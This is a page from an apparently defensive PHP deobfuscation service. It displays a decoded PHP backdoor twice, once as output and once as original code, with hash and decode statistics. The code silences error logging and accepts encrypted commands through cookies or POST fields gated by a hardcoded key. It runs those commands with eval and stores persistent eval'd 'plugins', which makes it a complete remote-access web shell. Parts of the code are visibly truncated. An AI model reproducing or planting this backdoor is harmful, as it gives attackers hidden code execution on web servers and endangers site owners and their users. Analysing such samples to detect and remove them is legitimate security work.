Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_t..
Decoded Output download
<?php
@ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @error_reporting(0); @set_time_limit(0); if(!defined("PHP_EOL")) { define("PHP_EOL", "n"); } if(!defined("DIRECTORY_SEPARATOR")) { define("DIRECTORY_SEPARATOR", "/"); } if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18')) { define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1); $data = NULL; $data_key = NULL; $GLOBALS['cs_auth'] = 'fd0ba5a6-c2cd-4703-bf53-af2f9015ffe4'; global $cs_auth; function cs_base64_decode($input) { if (strlen($input) < 4) { return ""; } $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; $keys = str_split($keyStr); $keys = array_flip($keys); $i = 0; $output = ""; $input = preg_replace("~[^A-Za-z0-9+/=]~", "", $input); do { $enc1 = $keys[$input[$i++]]; $enc2 = $keys[$input[$i++]]; $enc3 = $keys[$input[$i++]]; $enc4 = $keys[$input[$i++]]; $chr1 = ($enc1 << 2) | ($enc2 >> 4); $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2); $chr3 = (($enc3 & 3) << 6) | $enc4; $output = $output . chr($chr1); if ($enc3 != 64) { $output = $output . chr($chr2); } if ($enc4 != 64) { $output = $output . chr($chr3); } } while ($i < strlen($input)); return $output; } if (!function_exists('file_put_contents')) { function file_put_contents($n, $d, $flag = False) { $mode = $flag == 8 ? 'a' : 'w'; $f = @fopen($n, $mode); if ($f === False) { return 0; } else { if (is_array($d)) $d = implode($d); $bytes_written = fwrite($f, $d); fclose($f); return $bytes_written; } } } if (!function_exists('file_get_contents')) { function file_get_contents($filename) { $fhandle = fopen($filename, "r"); $fcontents = fread($fhandle, filesize($filename)); fclose($fhandle); return $fcontents; } } function cs_get_current_filepath() { return trim(preg_replace("/(.*$/", '', __FILE__)); } function cs_decrypt_phase($data, $key) { $out_data = ""; for ($i=0; $i$pcontent) { if ($name) { if (strcmp($name, $pname) == 0) { eval($pcontent); break; } } else { eval($pcontent); } } } foreach ($_COOKIE as $key=>$value) { $data = $value; $data_key = $key; } if (!$data) { foreach ($_POST as $key=>$value) { $data = $value; $data_key = $key; } } $data = @unserialize(cs_decrypt(cs_base64_decode($data), $data_key)); if (isset($data['ak']) && $cs_auth==$data['ak']) { if ($data['a'] == 'i') { $i = Array( 'pv' => @phpversion(), 'sv' => '2.0-1', 'ak' => $data['ak'], ); echo @serialize($i); exit; } elseif ($data['a'] == 'e') { eval($data['d']); } elseif ($data['a'] == 'plugin') { if($data['sa'] == 'add') { cs_plugin_add($data['p'], $data['d']); } elseif($data['sa'] == 'rem') { cs_plugin_rem($data['p']); } } echo $data['ak']; exit(); } cs_plugin_load(); }
?>
Did this file decode correctly?
Original Code
<?php
@ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @error_reporting(0); @set_time_limit(0); if(!defined("PHP_EOL")) { define("PHP_EOL", "n"); } if(!defined("DIRECTORY_SEPARATOR")) { define("DIRECTORY_SEPARATOR", "/"); } if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18')) { define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1); $data = NULL; $data_key = NULL; $GLOBALS['cs_auth'] = 'fd0ba5a6-c2cd-4703-bf53-af2f9015ffe4'; global $cs_auth; function cs_base64_decode($input) { if (strlen($input) < 4) { return ""; } $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; $keys = str_split($keyStr); $keys = array_flip($keys); $i = 0; $output = ""; $input = preg_replace("~[^A-Za-z0-9+/=]~", "", $input); do { $enc1 = $keys[$input[$i++]]; $enc2 = $keys[$input[$i++]]; $enc3 = $keys[$input[$i++]]; $enc4 = $keys[$input[$i++]]; $chr1 = ($enc1 << 2) | ($enc2 >> 4); $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2); $chr3 = (($enc3 & 3) << 6) | $enc4; $output = $output . chr($chr1); if ($enc3 != 64) { $output = $output . chr($chr2); } if ($enc4 != 64) { $output = $output . chr($chr3); } } while ($i < strlen($input)); return $output; } if (!function_exists('file_put_contents')) { function file_put_contents($n, $d, $flag = False) { $mode = $flag == 8 ? 'a' : 'w'; $f = @fopen($n, $mode); if ($f === False) { return 0; } else { if (is_array($d)) $d = implode($d); $bytes_written = fwrite($f, $d); fclose($f); return $bytes_written; } } } if (!function_exists('file_get_contents')) { function file_get_contents($filename) { $fhandle = fopen($filename, "r"); $fcontents = fread($fhandle, filesize($filename)); fclose($fhandle); return $fcontents; } } function cs_get_current_filepath() { return trim(preg_replace("/(.*$/", '', __FILE__)); } function cs_decrypt_phase($data, $key) { $out_data = ""; for ($i=0; $i$pcontent) { if ($name) { if (strcmp($name, $pname) == 0) { eval($pcontent); break; } } else { eval($pcontent); } } } foreach ($_COOKIE as $key=>$value) { $data = $value; $data_key = $key; } if (!$data) { foreach ($_POST as $key=>$value) { $data = $value; $data_key = $key; } } $data = @unserialize(cs_decrypt(cs_base64_decode($data), $data_key)); if (isset($data['ak']) && $cs_auth==$data['ak']) { if ($data['a'] == 'i') { $i = Array( 'pv' => @phpversion(), 'sv' => '2.0-1', 'ak' => $data['ak'], ); echo @serialize($i); exit; } elseif ($data['a'] == 'e') { eval($data['d']); } elseif ($data['a'] == 'plugin') { if($data['sa'] == 'add') { cs_plugin_add($data['p'], $data['d']); } elseif($data['sa'] == 'rem') { cs_plugin_rem($data['p']); } } echo $data['ak']; exit(); } cs_plugin_load(); }
?>
Function Calls
| None |
Stats
| MD5 | ae4b3309575fcd9457db91b906c35fa4 |
| Eval Count | 0 |
| Decode Time | 142 ms |